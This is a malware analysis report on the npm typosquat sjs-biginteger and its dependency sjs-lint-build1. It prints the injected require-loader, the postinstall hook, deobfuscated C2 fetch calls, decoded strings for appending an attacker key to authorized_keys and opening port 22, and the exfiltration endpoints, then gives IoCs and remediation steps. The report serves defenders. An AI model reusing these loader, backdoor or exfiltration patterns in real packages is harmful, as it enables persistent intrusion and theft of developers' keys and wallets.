Malicious sjs-biginteger Implants SSH Backdoor

TL;DR

sjs-biginteger typosquats big.js on npm. Throwaway account vanes.s.p.orit.a published it on April 7, 2026. The package carries a five-line loader injected into big.js at line 605 and pulls in a malicious dependency sjs-lint-build1 whose postinstall hook runs the same payload. Either trigger fetches the attacker’s SSH public key from a C2 server, appends it to ~/.ssh/authorized_keys, opens firewall port 22, and then exfiltrates SSH keys, .env files, Solana wallet files (id.json, config.toml), and system fingerprints to two Vercel-hosted C2 domains impersonating Cloudflare.

Impact:

• Implants an SSH backdoor by injecting the attacker’s public key into ~/.ssh/authorized_keys
• Opens firewall port 22 via sudo ufw allow 22/tcp and enables the firewall
• Runs sudo chown -R to fix SSH directory permissions
• Exfiltrates existing SSH keys, .env files, id.json (Solana wallets), and config.toml files
• Harvests environment variables (USER, USERNAME, LOGNAME, HOME)
• Fingerprints the system (public IP, platform, CPU info, username)
• Targets Linux, macOS, FreeBSD, OpenBSD, SunOS, AIX, and Windows

Indicators of Compromise (IoC):

Analysis

Package Overview

Two versions landed on npm within 40 minutes on April 7, 2026: 5.0.5 at 19:32 UTC and 5.0.6 at 20:13 UTC. The publisher vanes.s.p.orit.a owns two packages total: sjs-biginteger and sjs-lint-build1.

The attacker copied big.js metadata verbatim: author name (Michael Mclaughlin), repository URL, homepage, bug tracker, and funding links:

1
"author": {
2
  "name": "Michael Mclaughlin",
3
  "email": "[email protected]"
4
},
5
"repository": {
6
  "type": "git",
7
  "url": "https://github.com/MikeMcl/big.js.git"
8
}

The npm registry shows the real publisher:

1
npm view sjs-biginteger maintainers
2
# vanes.s.p.orit.a <[email protected]>

We downloaded [email protected] from the npm registry and diffed it against the malicious file. Past the whitespace and indentation churn (consistent with a formatter pass), only one change is semantic: five lines at line 605 of the top-level IIFE body.

1
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js
2
603a605,609
3
> try {
4
>   const doc = require("sjs-lint-build1");
5
>   doc.from_str().then(e => { }).catch(e => { })
6
> } catch (error) {
7
> }

This injection runs at import time. It gives the attacker a second execution trigger independent of the postinstall hook: any application that later does require("sjs-biginteger") fires the payload again.

Diffing [email protected] against 5.0.6 (diff -rq v5.0.5/package v5.0.6/package), big.js, big.mjs, LICENCE.md, and README.md are byte-identical across both versions. Only package.json changed:

1
"sjs-lint-build1": "file:../module-npm-doc-build-v2.1"
2
"sjs-lint-build1": "^1.0.4"

5.0.5 referenced the payload dependency via a local filesystem path (a leftover from the attacker’s development environment), so it failed to resolve on any victim machine. 5.0.6, published 41 minutes later, is the operative version.

Execution Trigger

sjs-biginteger declares a single dependency:

1
"dependencies": {
2
  "sjs-lint-build1": "^1.0.4"
3
}

sjs-lint-build1 appeared one minute before sjs-biginteger, from the same account. Its package.json:

1
{
2
  "name": "sjs-lint-build1",
3
  "version": "1.0.4",
4
  "main": "index.js",
5
  "scripts": {
6
    "postinstall": "node test.js"
7
  },
8
  "dependencies": {
9
    "axios": "^1.7.0",
10
    "child_process": "^1.0.2",
11
    "form-data": "^4.0.0",
12
    "os": "^0.1.2"
13
  }
14
}

npm install sjs-biginteger resolves sjs-lint-build1, installs it, and fires the postinstall hook: node test.js. The 7.2 KB test.js imports from index.js (58.4 KB) and calls the exported from_str_2 function:

1
// sjs-lint-build1/test.js (deobfuscated structure)
2
const { from_str_2 } = require('.');
3
async function main() {
4
  try {
5
    await from_str_2();
6
  } catch (e) {}
7
}
8
main();

index.js exports two entry points, both triggering the same payload infrastructure with slightly different scopes:

The runtime path (from_str) adds a pre-step that walks the current working directory for id.json, config.toml, Config.toml, env, and .env before the broad scan runs. This catches developers who import the package during local development. Whatever project they are working on, its .env goes out first.

Obfuscation

Both files use a custom base91-like string encoding with 35 distinct shuffled alphabets. Each function body embeds its own alphabet and decoder; no single key decodes all strings. The lookup table in index.js holds 299 encoded entries resolved through multiple decoder functions at runtime.

Sample obfuscation:

1
// sjs-lint-build1/index.js (original obfuscated form)
2
const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];
3
function HRKFas(PzH00eY) {
4
  var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>...";
5
  // base91 decode using shuffled alphabet
6
}

We replayed the basE91 decoder in Python against the shared lookup table, pairing each call site with the 91-character alphabet nearest to it in source order. About a hundred unique entries decode to meaningful identifiers: URLs, shell commands, property names, file paths. That is enough to reconstruct the full attack surface without running a line of the package.

Malicious Payload

The payload in index.js imports six Node.js modules:

1
// sjs-lint-build1/index.js (extracted require() calls)
2
require('axios');
3
require('child_process');
4
require('form-data');
5
require('fs');
6
require('os');
7
require('path');

Phase 1: C2 Configuration Fetch

Three parallel fetch() requests fire at startup:

1
// sjs-lint-build1/index.js (deobfuscated)
2
const [r1, r2, r3] = await Promise.all([
3
  fetch('https://cloudflareinsights.vercel.app/api/ssh-key'),
4
  fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'),
5
  fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),
6
]);
7
const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);

The msg field from /api/ssh-key carries the attacker’s public SSH key. scanPatterns and blockPatterns control which directories to enumerate and which to skip. The payload fetches this configuration from C2 at runtime, so the attacker can retarget victims without republishing the package. A new exfiltration pattern takes effect on the next install.

During analysis on 2026-04-09 the endpoint was live and returned:

1
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]" }

The key comment [email protected] is deliberate social engineering. A Solana developer inspecting ~/.ssh/authorized_keys during a routine audit may mistake it for a Polymarket support integration and leave it in place. That is the profile the operator wants.

Phase 2: SSH Backdoor Implantation

The payload checks for ~/.ssh, creates it if missing, and appends the attacker’s key to authorized_keys:

1
// Decoded strings from index.js showing SSH backdoor logic
2
[0x9b]  HOME
3
[0x9c]  /.ssh
4
[0x9d]  existsSync
5
[0x9e]  mkdirSync
6
[0x9f]  mode
7
[0xa2]  authorized_keys
8
[0xa6]  appendFileSync
9
[0xa7]  sudo chown -R
10
[0xa8]  sudo ufw enable
11
[0xab]  sudo ufw allow 22/tcp

The code path:

1. Read process.env.HOME and append /.ssh
2. Create the directory with fs.mkdirSync if it doesn’t exist (with appropriate mode)
3. Append the attacker’s SSH key (fetched from C2) to authorized_keys via fs.appendFileSync
4. Run sudo chown -R to fix ownership of the SSH directory
5. Run sudo ufw allow 22/tcp to open the SSH port through the firewall
6. Run sudo ufw enable to activate the firewall rules

CI/CD environments and Docker containers run as root or with passwordless sudo. If those sudo calls succeed, the attacker has persistent SSH access.

Phase 3: Data Collection

The payload branches on process.platform, covering six Unix variants (linux, darwin, freebsd, openbsd, sunos, aix) and Windows:

1
// Windows-specific decoded strings
2
[0x84]  wmic logicaldisk get name
3
[0x8b]  ^[A-Z]:$
4
[0x90]  C:\Users\

On Windows, wmic logicaldisk get name enumerates drives, then the payload walks C:\Users\ for credential files. On Unix, os.homedir() sets the starting point.

Targeted files:

The payload walks directories with fs.readdirSync (withFileTypes) and path.join, following the scanPatterns and blockPatterns from the C2.

Phase 4: Exfiltration

The payload uploads collected files via axios.post to two endpoints:

1
// Decoded exfiltration strings
2
[0xc4]  basename
3
[0xc5]  file.bin
4
[0xc6]  post
5
[0xc8]  Content-Type
6
[0xc9]  application/octet-stream
7
[0xca]  Content-Disposition
8
[0xcb]  attachment; filename="
9
[0xd7]  https://cloudflarefirewall.vercel.app/api/v1
10
[0x124] https://cloudflareinsights.vercel.app/api/v1

Each file goes out as binary application/octet-stream with a Content-Disposition header. Each upload also carries a metadata block:

1
// Exfiltration metadata fields
2
[0xf8]  username
3
[0x100] created
4
[0x101] publicIp
5
[0x102] platform
6
[0xff]  stringify
7
[0xfe]  meta

The payload JSON-serializes the username, public IP, platform, and a timestamp, then attaches that block to every upload. Two C2 domains give the attacker redundancy: cloudflareinsights[.]vercel[.]app and cloudflarefirewall[.]vercel[.]app.

C2 Infrastructure

Two Vercel-hosted domains, both named to pass casual inspection of network logs:

Vercel’s free tier requires no identity verification, making it a common choice for throwaway C2 infrastructure. The cloudflareinsights and cloudflarefirewall names mimic legitimate Cloudflare products.

Attribution

The sjs-biginteger behaviour overlaps heavily with the dev-protocol / Polymarket trading bot supply chain attack that StepSecurity documented on 2026-02-26. The indicators below point to a follow-on wave run by the same operator or a close collaborator. Static artefacts alone cannot prove operator identity.

The commander host cloudflareinsights[.]vercel[.]app is reused byte-for-byte across both waves, and every endpoint path (/api/v1, /api/scan-patterns, /api/block-patterns) matches. The file-exfil hostname rotated (cloudflareguard → cloudflarefirewall) but kept the same naming pattern: a Vercel subdomain impersonating a Cloudflare product.

Two things changed between waves:

1. Delivery vector. The February wave was seeded through the hijacked dev-protocol GitHub organisation; this one is a direct npm typosquat published by a throwaway account. This fits a predictable evolution: after a vector burns, switch channels but keep the payload.
2. Obfuscator. The February samples used a J2TEAM-style obfuscator; sjs-lint-build1 uses a scope-nested basE91 scheme with 35 distinct alphabets in index.js, each scoped to its own function body. This likely evades signatures trained on the earlier samples.

The sjs-lint-build1 package name is also notable: it echoes the earlier lint-builder payload name. Package naming is not being randomised between waves — the operator appears to be iterating on a convention.

Hunting pivot. Any package that contacts cloudflareinsights[.]vercel[.]app should be treated as part of this cluster regardless of its npm metadata. The [email protected] SSH key comment is a durable host-based IoC worth alerting on across Solana developer fleets.

Dynamic Analysis

We run eBPF-based dynamic analysis during sandboxed npm install, capturing syscall events and network connections. Sandbox execution of [email protected] confirmed both behaviors found in static analysis.

Syscall Events

Two rules triggered during the postinstall hook. The process chain sh -c node test.js matches the sjs-lint-build1 postinstall script, running as root inside the sandbox container:

“Adding ssh keys to authorized_keys” fired at 20:21:47 UTC when node test.js opened /root/.ssh/authorized_keys via the openat syscall, confirming the appendFileSync call found in static analysis. “Read ssh information” fired 23 milliseconds later when the same process read the /root/.ssh directory for exfiltration.

Note the ordering: the payload writes the attacker’s key first, then reads existing keys. Backdoor before exfiltration.

Network Connections

The sandbox captured all outbound IP connections during the npm install lifecycle, including legitimate npm registry traffic alongside malicious C2 communication:

This table contains all connections during install, not just malicious traffic. npm registry resolution, DNS lookups, and package downloads generate their own connections. The 104.16.x.34 range belongs to Cloudflare, which fronts both Vercel (the C2 host) and the npm registry (registry.npmjs.org). Separating C2 traffic from legitimate npm traffic by IP alone is not possible since both route through Cloudflare. The 64.29.17.x and 216.198.79.x addresses could be DNS resolvers or additional CDN edges.

The network data does show that the install made HTTPS connections (port 443) to Cloudflare-fronted services beyond what a normal big.js install requires. A package with zero runtime network dependencies generating 15+ outbound HTTPS connections stands out. Combined with the syscall events showing SSH file access, the connection volume matches the multi-phase attack: configuration fetch, file collection, upload.

Conclusion

The authorized_keys injection, firewall manipulation, and ownership changes establish persistent remote access that survives credential rotation unless you remove the injected key. If you installed this package:

1. Check ~/.ssh/authorized_keys for unrecognized keys and remove them
2. Review firewall rules for unexpected port 22 allowances
3. Rotate all SSH keys and credentials stored in .env, id.json, and config.toml files
4. Audit CI/CD systems where the package may have been installed with elevated privileges

References

• sjs-biginteger on npm
• sjs-lint-build1 on npm
• big.js (legitimate package)